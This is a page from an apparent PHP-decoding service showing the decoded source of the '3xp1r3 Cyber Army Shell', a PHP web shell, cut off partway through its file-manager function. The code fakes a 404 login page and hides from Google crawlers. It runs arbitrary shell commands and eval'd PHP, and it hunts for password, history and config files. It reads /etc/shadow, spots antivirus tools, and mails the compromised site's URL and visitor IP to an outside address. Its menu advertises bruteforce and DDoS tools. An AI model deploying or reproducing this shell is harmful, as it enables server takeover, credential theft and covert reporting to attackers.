Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Cod3d by 3xp1r3 - Dr3@m3r~1986 */$OOO000000=urldecode('%66%67%36%73%62%65%68%7..

Decoded Output download

$auth_pass = "08fde1d5f5829cfb3a5749b7b3c8edf9";
$color = "#00FF66";
$default_action = 'FilesMan';
@define('SELF_PATH', 'index.php');
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo '<h1>Not Found</h1>
          <p>The requested URL was not found on this server.</p>
          <hr>
          <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
          <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <center><form method=post><input type=password name=pass></form></center>';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = 'win';
else
    $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
    @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
    $cwd .= '/';
    
if($os == 'win') {
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}

function ex($in) {
    $out = '';
    if(function_exists('exec')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists('shell_exec')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function which($p) {
    $path = ex('which '.$p);
    if(!empty($path))
        return $path;
    return false;
}
    
function printHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = "UTF-8";
    global $color;
    
    echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>3xp1r3 Cyber Army Shell - '.VERSION.'</title>
    <style>
        body {background-color:#222;color:#fff;}
        body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
        span,h1,a    { color:'.$color.' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
        div.content    { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
        a            { text-decoration:none; }
        a:hover        { /*background:#5e5e5e;*/ }
        .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:5px;}
        input, textarea, select    { margin:0;color:#00ff00;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; }
        .main th    {text-align:left;background-color:#555;font-weight: bold;}
        .main tr:hover{background-color:#5e5e5e;}
        .main td, th{vertical-align:middle;}
        .menu {background: #333;}
        .menu th{padding:5px;font-weight:bold;}
        .menu th:hover{background:#444;}
        .l1 {background-color:#444;}
        pre {font-family:Courier,Monospace;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
        .logo {text-align:center;font-size:60px;}
        .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
        .cpr {margin-bottom:5px;font-weight:bold;}
        .cpb {width:34px;margin:0 5px;}
        .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
        .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
        .npoad td {padding:0;}
    </style>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("'.$_SERVER['REQUEST_URI'].'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
        <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
        <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    </form>';
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get('disable_functions');
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','DDoS'=>'Ddos','Mail'=>'Mail','Code Injector'=>'Injector');
    if(!empty($GLOBALS['auth_pass']))
    $m['SelfKill'] = 'SelfRemove';
    $m['Logout'] = 'Logout';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach( range('a','z') as $drive ){
            if (is_dir($drive.':\'))
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
        }
        $drives .= '<br />: ';
    }
    if($GLOBALS['os'] == 'nix') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $d0c = "CANT READ named.conf";
        } else {
            @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = " --- ";
    }
    if($GLOBALS['os'] == 'nix' )
    {
        $usefl = ''; $dwnldr = '';
        if(!@ini_get('safe_mode')) {
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
            foreach($userful as $item) { if(which($item)) $usefl.= $item.','; }
            
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
            foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.','; }
        } else {
            $usefl = ' ------- '; $dwnldr = ' ------- ';
        }
    } else { 
        $usefl = ' ------- '; $dwnldr = ' ------- ';
    } 
    echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">3CA<sup>&reg;</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1">3xp1r3</div><div class="eca2">Cyber Army</div></td>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
         '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
         '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
         '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
}

function printFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";

echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
</table></div></div>
<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">3CA Shell '.VERSION.', &copy; 3xp1r3 Cyber Army. Coded By - Dr3@m3r~1986</div></div>
</div>
</body></html>';
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }

if(!isset($_SESSION['trimite'])){
    $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
    @mail("[email protected]","3CA_Shell_2.0",$url);
    $_SESSION['trimite']=true;
}

function viewSize($s) {
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}

function viewPermsColor($f) { 
    if (!@is_readable($f))
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
    elseif (!@is_writable($f))
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
    else
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}

if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}

function actionSecInfo() {
    printHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "
") === false)
                echo $v.'<br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',ex('ver')); 
        showSecParam('Account Settings',ex('net accounts')); 
        showSecParam('User Accounts',ex('net user'));
    }
    echo '</div>';
    printFooter();
}

function actionPhp() {
    if( isset($_POST['ajax']) ) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
        echo strlen($temp), "
", $temp;
        exit; 
    }
    printHeader();
    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
        echo '<h1>PHP info</h1><div class=content>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!body {.*}!msiU','',$tmp);
        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
        $tmp = preg_replace('!h1!msiU','h2',$tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
        echo $tmp;
        echo '</div><br>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo '<h1>File manager</h1><div class=content>';
    if(isset($_POST['p1'])) {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload file!";
                break;
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case 'paste':
                if($_SESSION['act'] == 'copy') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
                } elseif($_SESSION['act'] == 'move') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
                }
                unset($_SESSION['f']);
                break;
            default:
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach($_SESSION['f'] as $k => $f)
                        $_SESSION['f'][$k] = urldecode($f);
                    $_SESSION['cwd'] = @$_POST['c'];
                }
                break;
        }
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    }
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo '<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>';
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
            $links[] = array_merge($tmp, array('type' => 'link'));
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS['sort'][0] != 'size')
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    uso

Did this file decode correctly?

Original Code

